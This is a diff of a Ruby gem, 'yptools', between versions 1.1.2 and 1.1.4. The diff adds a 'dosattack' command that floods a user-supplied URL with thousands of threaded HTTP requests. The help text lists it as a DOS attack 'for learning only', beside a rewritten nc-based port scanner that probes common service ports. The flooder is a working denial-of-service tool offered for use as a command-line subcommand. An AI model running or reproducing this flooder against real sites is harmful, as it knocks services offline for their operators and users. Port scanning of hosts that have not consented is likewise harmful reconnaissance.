yptools 1.1.2 → 1.1.4

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 8408e5e1a3c11b120fb7f35959032380a30e25363b87b24ed8db7aeed71682e3
-  data.tar.gz: f13a54118992f2b3629895a2cf48b82ec401c66d8eb5e351977d5f07aca1a00a
+  metadata.gz: c49bfe04d254b19d13b80a1e9f5db8ffe4b5d44ec6008d304b6f867bee00e66b
+  data.tar.gz: 036e0974cc6ebe80b186c43f5ede5f39088d17847563391e7084f81c4d94a487
 SHA512:
-  metadata.gz: 5e49cce07a4d0bfafc800d8cfa3d65a1ea826732bd3f0e8710e987d99f71bc97c6c35268096a6383ef1118ad4fe1861f3305800fc6e086055d1a0ee4fc30403f
-  data.tar.gz: afef0a6c693d3ba8c0ed26838a5364c5d3a0b7837adbe9e3c60fab27b7f2e4f411f9c74b11dee3e96cab81003840d8d4de6b7e80f8d8cb5212bd16ac05d2e525
+  metadata.gz: a22f3e20325311844302d284987884261b4fc61e1de3cde94d5feb969a0653b843a09c270a6bedce162ecdf13d9f30d649723dbbec4da6a936c1c577bb398a32
+  data.tar.gz: 20daa32b7722a94e5e25c7b883e0ab6546698463a74256f73b6a4a770233295f24b2f7d504563db71c94d2738b0e045c76726db2352607ab68a3331fa8c60b41

data/lib/yptools/dosattack/yp_dosattack.rb

@@ -0,0 +1,52 @@
+require 'net/http'
+require 'uri'
+
+class YPDosAttack
+    def self.dosattack(argvs)
+        url = argvs[1]
+        request_count = argvs[2]
+
+        uri = URI(url) # 修改为你想要请求的网址
+
+        n = 10 # 发送 10 个请求
+        concurrency = 5 # 使用 5 个线程
+        if request_count
+            n = request_count.to_i
+        end
+        
+        success_count = 0 # 计数器，记录成功次数
+        failure_count = 0 # 计数器，记录失败次数
+        
+        mutex = Mutex.new # 互斥锁，用于对计数器的操作加锁
+        
+        responses = Array.new(n) # 用于保存响应结果的数组
+        
+        threads = []
+        
+        n.times do |i|
+          threads << Thread.new do
+            begin
+              response = Net::HTTP.get_response(uri)
+              mutex.synchronize do
+                if response.is_a?(Net::HTTPSuccess)
+                  success_count += 1
+                else
+                  failure_count += 1
+                end
+              end
+              puts "当前请求结果 #{response.code} #{response.message}" + " -------- #{failure_count + success_count}"
+            rescue StandardError => e
+              failure_count += 1
+              puts "当前请求结果 #{e}" + " -------- #{failure_count + success_count}"
+            end
+          end
+        
+          threads.pop(concurrency - 1).each(&:join) if threads.size >= concurrency
+        end
+        
+        threads.each(&:join)
+        
+        puts "成功次数: #{success_count}，失败次数: #{failure_count}"
+
+    end
+end

data/lib/yptools/help/yp_help.rb

@@ -28,9 +28,11 @@ class YPHelp
            use [yptools xpj check] 检查当前目录项目文件是否存在引用的问题
       
       🤡🤡🤡 - hacker
-      portscan: use [yptools portscan <ip地址或域名> [<端口范围>]] 扫描指定 IP 端口是否开放
-      
       scanlocalips: use [yptools scanlocalips] 扫描本地局域网下所有 IP
+      
+      portscan: use [yptools portscan <ip地址或域名> [<端口范围>]] 扫描指定 IP 端口是否开放
+
+      dosattack: use [yptools dosattack <ip> <n>] DOS攻击 「警告：此方法仅用于学习使用」 ip=请求域名 n=攻击次数 （eg: yptools dosattack https://example.com 10000）
 
       💩💩💩 - 帮助（help）
       help: use [yptools help] 查看帮助

data/lib/yptools/portscan/yp_portscan.rb

@@ -1,50 +1,35 @@
+require 'colored'
+
 class YPPortScan
-    def self.portscan(port, range) 
-        script = %Q(
-            #!/bin/bash
-            
-            if [ -n "#{range}" ]; then
-                all_port="#{range}"
-              else
-                all_port="1-65535"
-            fi
+  COMMON_PORTS = [21, 22, 23, 25, 53, 80, 81, 88, 110, 111, 135, 139, 143, 161, 389, 443, 445, 465, 514, 587, 631, 993, 995, 1080, 1194, 1433, 1521, 2049, 2082, 2083, 2181, 2222, 2375, 2376, 3389, 3690, 4443, 5432, 5900, 5984, 6379, 7001, 7002, 8080, 8081, 8086, 8443, 8888, 9090, 9200, 9300, 10000, 11211, 15672, 27017, 28017, 50000, 50070, 50075, 50090]
+
+  def self.portscan(address, range)
+    ip_address = address
+    if range.nil? || range.empty? || range == "-d" || range == "-default"
+      port_range = COMMON_PORTS
+      yp_log_doing "正在扫描 #{ip_address} 常用的端口"
+    else
+      temp_port_range = range.split("-").map(&:to_i)
+      yp_log_doing "正在扫描 #{ip_address} 的端口 #{temp_port_range.min} 到 #{temp_port_range.max}..."
+      port_range = temp_port_range.size == 1 ? [temp_port_range[0]] : (temp_port_range[0]..temp_port_range[1]).to_a
+    end
 
-            port_range=(${all_port//-/ })
-            timeout=0.02
-            ip_address=#{port}
+    open_ports = []
+    closed_ports = []
 
-            port_range+=(#{range})
-                
-            echo "正在扫描 ${ip_address} 的端口 ${port_range[0]} 到 ${port_range[1]}..."
-            echo ${port_range[1]}
-          
-            open_ports=()
-            closed_ports=()
-          
-            for ((port = ${port_range[0]}; port <= ${port_range[1]}; port++)); do
-              (echo >/dev/tcp/${ip_address}/${port}) >/dev/null 2>&1 &
-              pid=$!
-              (
-                sleep ${timeout}
-                kill ${pid} >/dev/null 2>&1
-              ) &
-              timer=$!
-              if wait ${pid} 2>/dev/null; then
-                echo "\\033[32m${port} 是开放的\\033[0m"
-                open_ports+=($port)
-              else
-                echo "\\033[31m${port} 是关闭的\\033[0m"
-                closed_ports+=($port)
-              fi
-              kill ${timer} >/dev/null 2>&1
-            done
-          
-            allCount=$((${#open_ports[@]} + ${#closed_ports[@]}))
-          
-            echo ${allCount} "个端口扫描完成。"
-            echo "共有 ${#open_ports[@]} 个端口是开放的，${#closed_ports[@]} 个端口是关闭的。"
-            echo "开放的端口: " "\\033[32m${open_ports[@]}\\033[0m"
-          )
-          system(script)
+    port_range.each do |port|
+      `nc -w 1 -z #{ip_address} #{port} 2>&1 | grep succeeded`
+      if $?.success?
+        yp_log_success "#{port} 是开放的"
+        open_ports << port
+      else
+        yp_log_fail "#{port} 是关闭的"
+        closed_ports << port
+      end
     end
+
+    all_count = open_ports.size + closed_ports.size
+    yp_log_doing "共有 #{open_ports.size} 个端口是开放的，#{closed_ports.size} 个端口是关闭的。"
+    yp_log_success "#{all_count} 个端口扫描完成，" + "开放的端口: #{open_ports}"
+  end
 end

data/lib/yptools.rb

@@ -13,6 +13,7 @@ require_relative 'yptools/autocre/yp_autoinit'
 require_relative 'yptools/chatai/yp_chatai'
 require_relative 'yptools/portscan/yp_portscan'
 require_relative 'yptools/scanlocalips/yp_scanlocalips'
+require_relative 'yptools/dosattack/yp_dosattack'
 
 class YPTools
     
@@ -113,6 +114,8 @@ class YPTools
             end
         when 'scanlocalips'
             self.scanlocalips
+        when 'dosattack'
+            self.dosattack argvs
         else
             self.help
         end
@@ -179,6 +182,10 @@ class YPTools
         YPScanLocalIPs.scanlocalips()
     end
 
+    def self.dosattack(argvs)
+        YPDosAttack.dosattack(argvs)
+    end
+
 end
 
 

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: yptools
 version: !ruby/object:Gem::Version
-  version: 1.1.2
+  version: 1.1.4
 platform: ruby
 authors:
 - chenghengsheng
 autorequire:
 bindir: bin
 cert_chain: []
-date: 2023-03-26 00:00:00.000000000 Z
+date: 2023-03-27 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: bundler
@@ -135,6 +135,7 @@ files:
 - lib/yptools/autocre/yp_autocre.rb
 - lib/yptools/autocre/yp_autoinit.rb
 - lib/yptools/chatai/yp_chatai.rb
+- lib/yptools/dosattack/yp_dosattack.rb
 - lib/yptools/file/yp_updatecreatedate.rb
 - lib/yptools/help/yp_help.rb
 - lib/yptools/install/yp_install.rb